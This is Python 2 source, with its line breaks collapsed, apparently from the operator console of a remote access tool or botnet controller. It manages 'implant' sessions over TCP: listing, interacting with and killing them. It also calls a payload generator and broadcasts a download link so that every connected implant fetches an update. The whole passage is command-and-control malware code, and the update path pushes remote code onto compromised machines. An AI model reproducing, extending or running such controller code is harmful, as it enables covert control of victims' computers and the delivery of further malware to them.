def ReturnSuccess(string): log.doLog("[SUCCESS] %s" % string) return color.GREEN + color.BOLD + '[+] ' + color.END + string
def ReturnWarning(string): log.doLog("[WARNING] %s" % string) return color.YELLOW + color.BOLD + '[!] ' + color.END + string
def ReturnInfo(string): log.doLog("[INFO] %s" % string) return color.BLUE + color.BOLD + '[*] ' + color.END + string
def ReturnError(string): log.doLog("[ERROR] %s" % string) return color.RED + color.BOLD + '[-] ' + color.END + string
def console(): CLI.InitializeEnvironemnt() while True: try: sys.stdout.write(color.ReturnConsole('ab0')) command = raw_input('') if command != '': log.doLog('[COMMAND] ' + str(command)) if command.startswith('sessions '): try: if command.split(' ')[1] == "-v": print TCPhandler.Helper.ListSessions() continue _, argument, parameter = command.split(' ') if argument == "-i": TCPhandler.Helper.ImplantInteraction( int(parameter)) elif argument == "-k": TCPhandler.Helper.KillImplant(int(parameter)) print "\n" + color.ReturnError( 'Session Index "%s" killed => tcp://%s:%s\n' % (str(parameter), viewbag.all_addresses[int(parameter)][0], viewbag.all_addresses[int(parameter)][1])) TCPhandler.Helper.RemoveSession(int(parameter)) else: print color.ReturnError( 'Invalid argument "%s"' % argument) pass except IndexError: print color.ReturnError( 'No sessions open at index "%s"\n' % command.split(' ')[2]) except Exception, e: print color.ReturnError('Console -> ' + str(e)) elif command == "show options": print options.ShowOptions() elif command.startswith('payloadgen'): try: payloadgen.PayloadGenerator.Generate(command) except Exception, e: print color.ReturnError(str(e)) elif command == "update": try: print 'Choose the vector method to download the new version:\n\n1) Direct Link\n2) Upload from local drive\n' choose = int(raw_input('')) if choose == 1: print color.ReturnQuestion( 'Insert the direct link (be sure that the file is public accessibly): ' ) link = raw_input('') if link != '': TCPhandler.Helper.Broadcast('\x22' + viewbag.SPL + link) else: print color.ReturnError( 'Link cannot be empty.') elif choose == 2: pass else: print color.ReturnError( 'Invalid choose selection.') except Exception, e: print color.ReturnError(str(e))